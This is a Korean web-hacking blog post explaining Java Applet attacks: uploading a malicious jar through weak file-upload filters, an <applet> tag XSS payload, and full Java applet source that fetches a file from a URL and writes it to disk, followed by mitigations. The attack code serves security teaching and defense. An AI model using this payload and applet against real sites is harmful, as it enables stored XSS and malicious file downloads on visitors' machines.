1/16/2016

[WEB HACKING] Java Applet Attack 분석 및 활용 기법(Java Applet XSS,Malicious File Download)


웹 취약점에 대한 분석 시 주요 태그로 알려진 것들은 대다수 필터링 되어 있지만 간혹 빠지는 태그들이 있습니다.  그 중 오늘은 applet 태그에 대한 이야기를 하려합니다.



applet 태그는 웹에서 Java Applet을 이용하기 위해 object 태그와 함께 많이 사용되는 태그이죠.
이 applet 을 이용하여 다양한 형태의 공격을 수행할 수 있습니다. 신뢰하는 사이트 리스트에 포함된 곳에 악성 jar 파일이 업로드 되고, 외부에서 applet 태그를 이용하여 jar 호출 시 공격에 노출될 수도 있습니다.

공격자가 jar 파일 내 공격 구문을 사용하여 사용자에게 XSS를 하거나 개인정보를 탈취하는 등 여러가지 행위가 가능합니다.

Java Applet Attack :: File Upload 구간 찾기

일단 테스트를 수행하는 Target Page 중 File Upload가 가능한 구간을 찾습니다. Jar 파일을 업로드하여 공격에 사용할 수 있도록 하는것이 좋습니다.
(동일 도메인 or 신뢰하는 도메인일 경우 좋습니다.)

대체로 확장자나 헤더, 파일 정상 로드 여부 등을 확인하나 필터링이 부족한 경우 jar 파일을 업로드 할 수 있습니다.

Java Applet Attack :: XSS 가능 구간(<applet>,<object>) 찾기

이제 Target Page에서 XSS가 가능한 구간을 찾습니다. 우리는 applet, object 태그를 이용하여 Java Applet(jar) 을 불러와야 합니다.
물론 object 태그가 들어간 상태에서 이벤트 핸들러만 딱 들어가도 Stored XSS를 성공하지만, 더 재미있는 분석을 위해 원격지의 Applet 을 로드합니다.

Applet : <applet></applet>
주요 속성(Attribute)
 + archive : jar 파일 위치
 XSS(Cross-site Script) + code : jar 에서 시작할 class명
 + width : 너비
 + height : 높이

Object : <object></object>
주요 속성(Attribute)
 + archive : jar 파일 위치
 + classid : jar 에서 시작할 class 명
 + codetype : 코드의 Type / ex) application/java
 + width : 너비
 + height : 높이

공격코드: <applet archive="[Upload Directory]" code="xss.class"></applet>


Java Applet Attack 을 이용한 악성파일 다운로드

Applet의 기능을 이용하면 쉽게 파일을 다운로드 받을 수 있습니다.

아래와 같이 다운로드를 수행하는 Code를 작성 후 jar 형태로 만들어 업로드합니다.

import java.applet.*;
import java.awt.*;
import java.security.*;
import java.io.*;
import java.nio.channels.*;
import java.net.*;

public class xss extends Applet
{
 public final static String baseURL = "http://127.0.0.1/";
 /**
  * @param args
  */
 public void init(){
       
        //create buttons
        Button button1 = new Button("45");      
        /*
         * To change font of a button use
         * setFont(Font f) method.
         */
      
        Font myFont = new Font("Courier", Font.ITALIC,12);
        button1.setFont(myFont);
        add(button1);
        downloadFile("xss.html");

}
 public String downloadFile(final String filename) {
        return (String)AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {      
              try {
                URL finalURL = new URL(baseURL + filename);
                ReadableByteChannel rbc = Channels.newChannel(finalURL.openStream());
                URL appletDir = getCodeBase();
                FileOutputStream fos = new FileOutputStream(appletDir.getPath() + "documents/"+ filename);
                fos.getChannel().transferFrom(rbc, 0, 1 << 24);
                return 1;
              } catch (Exception x) {
                x.printStackTrace();
                return null;
              }
            }
          });
}
}

대응방안

1. File Upload 기능 시 비허용 확장자, 헤더에 대한 검사로직 추가
외부링크를 타는 경우도 많지만, 신뢰된 서비스에서 호출되는 Applet 을 위험성이 더 높습니다.
이를 해결하기 위해선 File Upload 구간에 확장자와 파일 헤더 등 비정상적인 파일의 업로드를 막아야하고
이를 쉽게 호출할 수 없도록 해야합니다.
(Web Shell , File upload 취약점 해결 방법과 비슷합니다.)

2. XSS 대응
내부 서비스에서 일어나는 Applet Attack 은 XSS로부터 시작됩니다. 또한 XSS를 막기위해 여러가지 태그, 속성에 대해 필터링 하지만 <applet> 등 주요 공격에 사용되지 않는 태그들은 놓치는 경우가 많습니다.
이러한 태그를 사용할 수 없도록 필터링 하는것이 중요합니다.

3. 사용자 입장에서의 대응
Applet을 통한 XSS 코드나 악성 페이지로 접근했을 시 즉각 행위가 일어나는 경우가 많지만,
사용자의 입력을 유도하거나 추가적인 악성코드 다운로드를 유도하는 경우도 있습니다.

일단 경고 팝업(신뢰하지 않는 사이트로부터 호출)이 떴을때 유심히 살펴보며 개인정보, 다운로드 등에 신중해야합니다.


%% Applet Attack 관련 내용과 추가로 SET을 이용하여 Applet을 사회공학 기법에 사용하는 내용도 있네요.
%% 참고하시면 좋을 것 같습니다. [ https://pentestlab.wordpress.com/tag/java-applet-attack/


Reference

https://pentestlab.wordpress.com/tag/java-applet-attack/
http://www.hahwul.com/2016/01/java-java-applet-simle-code-for-java.html


HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

0 개의 댓글:

Post a Comment